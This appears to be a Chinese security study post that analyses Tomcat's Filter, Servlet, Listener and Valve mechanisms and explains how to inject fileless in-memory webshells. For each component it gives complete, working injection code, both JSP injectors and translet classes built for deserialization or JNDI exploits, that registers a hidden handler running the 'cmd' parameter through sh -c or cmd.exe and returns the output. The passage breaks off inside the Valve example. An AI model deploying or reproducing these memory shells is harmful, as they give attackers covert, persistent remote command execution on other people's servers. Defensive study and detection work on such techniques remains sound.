
内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件,内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象
Tomcat内存马
Tomcat架构原理
首先需要了解tomcat的一些处理机制以及结构,这样才能了解内存马
Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:
- Engine,实现类为
org.apache.catalina.core.StandardEngine
- Host,实现类为
org.apache.catalina.core.StandardHost
- Context,实现类为
org.apache.catalina.core.StandardContext
- Wrapper,实现类为
org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类

可以看到,如果我们想要添加一个Servlet,需要创建一个Wrapper包裹他来挂载到Context(StandardContext中)
Tomcat的加载流程:

JavaWeb三大组件的调用顺序: Listener->Filter->Servlet
Filter
Filter译为过滤器,过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理

流程分析
先来分析一下正常Filter的流程是怎么样的,实现一个filter类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.servlet.*; import java.io.IOException;
public class filterDemo implements Filter { public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建"); }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } public void destroy() {} }
|
在web.xml中注册我们的filter

在filterChain.doFilter
处下好断点,debug进行调试,主要的调用栈如下
1 2 3 4 5
| doFilter:11, filterDemo internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:202, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core)
|
看到在ApplicationFilterChain#internalDoFilter
中从filterConfig获取filter对象,然后调用doFilter

继续往上跟进

再往上看到在StandardWrapperValve#invoke
调用了doFilter,这才能走到ApplicationFilterChain的doFilter

我们看看filterChain
是如何获取的,发现使用ApplicationFilterFactory.createFilterChain
创建了一个ApplicationFilterChain

跟进createFilterChain,看到首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMaps

发现会遍历 filterMaps 中的 filterMap,并通过matchDispatcher()
、matchFilterURL()
方法进行匹配,匹配成功或就会进入 if 判断,会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 filterConfig,如果不为null,就会调用addFilter

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中
继续往上分析

发现wrapper是request.getWrapper()
得到的
具体流程:
1.在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配
2.如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig
3.如果获取到 filterConfig,则将其加入到 filterChain 中
4.后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法
不难发现最开始是从 StandardContext 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell
jsp内存马
如何获取StandardContext就是关键了
可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
获取到 StandardContext 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关

可以看到standardContext 有这三个方法可以添加我们的filter设置

filter内存马实现步骤:
- 获取StandardContext
- 创建一个恶意filter
- 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
- 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
- 通过反射获取filterConfigs,实例化一个filterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDef,存放到filterConfigs中
最后的jsp内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "memshell"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("注入成功"); } %>
|

接下来访问任意路由试一下,成功植入内存马

严格意义上来说不能算是内存WebShell,因为在Tomcat编译jsp文件的时候,会在Tomcat目录下有文件落地

无文件内存马
在没有request下,比如说反序列化漏洞、JNDI注入等,我们就需要先获取request,而获取request的操作之前已经学习过了,直接给出代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner; import javax.servlet.Filter;
public class EvilFilter extends AbstractTranslet implements Filter{ static{ try { final String name = "shell"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) { Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig); } }catch(Exception e){ e.printStackTrace(); } } @Override public void init(FilterConfig filterConfig) throws ServletException{} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException,ServletException{ HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() {}
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } }
|
该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType
类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样
tomcat 7:
org.apache.catalina.deploy.FilterDef
org.apache.catalina.deploy.FilterMap
tomcat 8、9:
org.apache.tomcat.util.descriptor.web.FilterDef
org.apache.tomcat.util.descriptor.web.FilterMap
这里看到一篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法
在每个Tomcat版本下,都会开一个http-nio-端口-Acceptor的线程,Acceptor是用来接收请求的,这些请求自然会交给后面的Engine->Host->Context->servlet,分析发现成功得到了StandardContext

这里测试发现存在bug,仅学习一个思路
参考:
Java安全之基于Tomcat实现内存马
Tomcat动态注册filter
Tomcat 内存马学习(一):Filter型
java Filter内存马分析
Servlet
Servlet 是服务端的 Java 应用程序,用于处理HTTP请求,做出相应的响应

流程分析
要注入servlet,就需要在tomcat启动之后动态添加Servlet
在Tomcat7之后的版本,StandardContext中提供了动态注册Servlet的方法,但是并未实现

所以我们需要自己去实现动态添加Servlet的功能,先看一下Servlet的初始化
在org.apache.catalina.core.StandardWrapper#setServletClass()
处下断点调试,回溯到上一层的ContextConfig.configureConetxt()

可以看到ContextConfig类中存在Wrapper的初始化流程
首先调用createWapper()创建了wrapper,然后调用set方法配置wrapper相关的属性

需要留意的一个特殊属性是LoadOnStartUp
属性,它是一个启动优先级
继续往后看,配置了wrapper的servletClass

配置完成之后会将wrapper放入StandardContext的child里面

接着会调用StandardContext.addServletMappingDecoded()
添加servlet对应的映射

这里会遍历web.xml中所有配置的Servlet-Mapping,通过StandardContext.addServletMappingDecoded()
将url路径和servlet类做映射
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
1.通过 context.createWapper() 创建 Wapper 对象
2.设置 Servlet 的 LoadOnStartUp 的值
3.设置 Servlet 的 Name
4.设置 Servlet 对应的 Class
5.将 Servlet 添加到 context 的 children 中
6.将 url 路径和 servlet 类做映射
初始化差不多跟完了,再看一下Servlet装载流程分析
在org.apache.catalina.core.StandardWapper#loadServlet()
处下断点调试,回溯到StandardContext.startInternal()
方法

可以看到,是在加载完Listener和Filter之后,才装载Servlet

这里调用了findChildren()
方法从StandardContext中拿到所有的child并传到loadOnStartUp()
方法处理,跟到loadOnstartup()
首先获取Context下所有的Wrapper类,并获取到每个Servlet的启动顺序,筛选出 >= 0 的项加载到一个存放Wapper的list中,然后对每个wrapper进行加载

如果没有声明 loadOnStartup 属性(默认为-1)

jsp内存马
前面说过,Tomcat的一个Wrapper代表一个Servlet ,而Servlet的Wrapper对象均在StandardContext的children属性中
所以这里创建一个Wrapper对象,把servlet写进去后直接用standardContext.addChild()
添加到children即可
Servlet内存马实现步骤:
- 找到StandardContext
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
最后的jsp内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %>
<% Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("memshell"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
standardCtx.addChild(newWrapper); standardCtx.addServletMappingDecoded("/shell","memshell"); %>
|

无文件内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import org.apache.catalina.Container; import org.apache.catalina.Wrapper; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.reflect.Method;
public class TomcatServlet extends AbstractTranslet implements Servlet{ static{ try{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
TomcatServlet Servlet = new TomcatServlet();
Method createWrapper = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("createWrapper"); Wrapper greetWrapper = (Wrapper) createWrapper.invoke(standardContext);
Method gname = Container.class.getDeclaredMethod("setName", String.class); gname.invoke(greetWrapper,"shell");
Method gload = Wrapper.class.getDeclaredMethod("setLoadOnStartup", int.class); gload.invoke(greetWrapper,1);
Method gservlet = Wrapper.class.getDeclaredMethod("setServlet", Servlet.class); gservlet.invoke(greetWrapper,Servlet);
Method gclass = Wrapper.class.getDeclaredMethod("setServletClass", String.class); gclass.invoke(greetWrapper,Servlet.getClass().getName());
Method gchild = StandardContext.class.getDeclaredMethod("addChild",Container.class); gchild.invoke(standardContext,greetWrapper);
Method gmap = StandardContext.class.getDeclaredMethod("addServletMappingDecoded",String.class,String.class,boolean.class); gmap.invoke(standardContext,"/shell", "shell",false); }catch (Exception hi){ } }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
} @Override public void init(ServletConfig config) throws ServletException {}
@Override public String getServletInfo() {return null;}
@Override public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; Process process = Runtime.getRuntime().exec(cmds); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } else{ resp.sendError(HttpServletResponse.SC_NOT_FOUND); } } }
|
参考:
Tomcat-Servlet型内存马
擅长捉弄的内存马同学:Servlet内存马
Java安全之基于Tomcat的Servlet&Listener内存马
Listener
Listener 是用于监听某些特定动作的监听器,当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,用来监听对象或者流程的创建与销毁
下面是一个HttpSession的Listener示意图:

Listener的监听对象主要有三种类型:
- ServletContext域对象——实现ServletContextListener接口
生命周期:
创建——启动服务器时创建
销毁——关闭服务器或者从服务器移除项目
作用:利用ServletContextListener监听器在创建ServletContext域对象时完成一些想要初始化的工作或者执行自定义任务调度
- ServletRequest域对象——实现ServletRequestListener接口
生命周期:
创建——访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求
销毁——服务器已经对该次请求做出了响应
- HttpSession域对象——实现HttpSessionListener接口
生命周期:
创建——只要调用了getSession()方法就会创建,一次会话只会创建一次
销毁——1.超时(默认为30分钟) // 2.非正常关闭,销毁 // 3.正常关闭服务器(序列化)
作用:每位用户登录网站时都会创建一个HTTPSession对象,利用这个统计在线人数
在 ServletRequestListener
接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马

流程分析
首先编写一个Listener,下好断点并写入web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class ServletListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("request init"); } }
|

1 2 3
| <listener> <listener-class>ServletListener</listener-class> </listener>
|
顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart
方法
可以看到它先调用findApplicationListeners()
获取Listener的名字,然后实例化

看到findApplicationListeners
函数就是获取 applicationListeners 属性的

而 applicationListeners 数组中存放的就是我们 Listener 的名字

继续往下,发现会遍历results中的Listener,根据不同的类型放入不同的数组,我们这里的ServletRequestListener放入eventListeners数组中

然后通过调用getApplicationEventListeners()
获取applicationEventListenersList
中的值

最后调用setApplicationEventListeners
对applicationEventListenersList进行设置

至此 listenerStart 函数的主要部分就结束了
在前面的函数部分我们知道了 listenerStart() 将我们的 Listener 实例化添加到了 applicationEventListenersList 中,那么只存进去是不可能触发的,我们的 Listener 需要触发肯定需要一个函数点来调用
跟一下第二个断点
根据调用堆栈我们找到了fireRequestInitEvent()
方法
看到调用了listener.requestInitialized(event)
,而这个 listener 就是我们设置的 Listener 实例,可以看到是通过遍历 instances 数组获取,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值

jsp内存马
根据上面的分析我们知道Listener来源于tomcat初始化时web.xml实例化的Listener和applicationEventListenersList
中的Listener,前者我们无法控制,但是后者我们可以控制,只需要往applicationEventListenersList
中加入我们的恶意Listener即可
Listener内存马实现步骤:
- 获取StandardContext
- 创建恶意Listener
- 调用StandardContext.addApplicationEventListener()添加恶意Listener
最后的jsp内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); ServletRequestListener servletRequestListener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); if (cmd != null) { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; response.getOutputStream().write(output.getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return; } catch (IOException e) { } } } }; standardContext.addApplicationEventListener(servletRequestListener); out.println("inject success"); %>
|

无文件内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
public class EvilListener implements ServletRequestListener { static { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
EvilListener servletRequestListener = new EvilListener(); Method addlistener = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addApplicationEventListener", Object.class); addlistener.invoke(standardContext,servletRequestListener); } catch (Exception hi) { } }
@Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { try{ RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest(); Field field = requestfacade.getClass().getDeclaredField("request"); field.setAccessible(true); Request request = (Request) field.get(requestfacade); Response response = request.getResponse(); if (request.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; response.getOutputStream().write(output.getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return; } }catch(Exception ig){ ig.printStackTrace(); } } }
|
参考:
Tomcat-Listener型内存马
Tomcat 内存马(二):Listener 内存马
Valve
Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门
整个调用过程是通过Pipeline-Valve管道进行的 ,Pipeline中有addValve
方法,维护了Valve链表,Valve可以插入到Pipeline中,对请求做某些处理,Pipeline中是没有invoke方法的,因为整个调用链的触发是Valve来完成的,Valve完成自己的处理后,调用getNext().invoke()
来触发下一个Valve调用
借用一张图说明:

每个容器都有一个Pipeline对象,只要触发了这个Pipeline的第一个Valve,这个容器里的Pipeline中的Valve都会被调用到,其中,Pipeline中的getBasic
方法获取的Valve处于Valve链的末端,它是Pipeline中必不可少的一个Valve, 负责调用下层容器的Pipeline里的第一个Valve
流程分析
Tomcat 中 Pipeline 仅有一个实现类StandardPipeline
,存放在 ContainerBase 的 pipeline 属性中

并且 ContainerBase 提供 addValve 方法调用 StandardPipeline 的 addValve 方法添加
四大组件Engine/Host/Context/Wrapper
都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加

看到在 org.apache.catalina.connector.CoyoteAdapter
的 service 方法中调用 Valve 的 invoke 方法

在invoke方法中我们能拿到request和response
这里我们只要自己写一个 Valve 的实现类,为了方便也可以直接使用 ValveBase 实现类。里面的 invoke 方法加入我们的恶意代码,由于可以拿到 Request 和 Response 方法,所以也可以做一些参数上的处理或者回显。然后使用 StandardContext 中的 pipeline 属性的 addValve 方法进行注册
jsp内存马
反射获取四大组件,然后调用addValve方法添加恶意Valve,之后发起请求即可触发
Valve内存马实现步骤:
- 获取StandardContext
- 继承并编写一个恶意Valve
- 调用standardContext.getPipeline().addValve()添加恶意valve实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
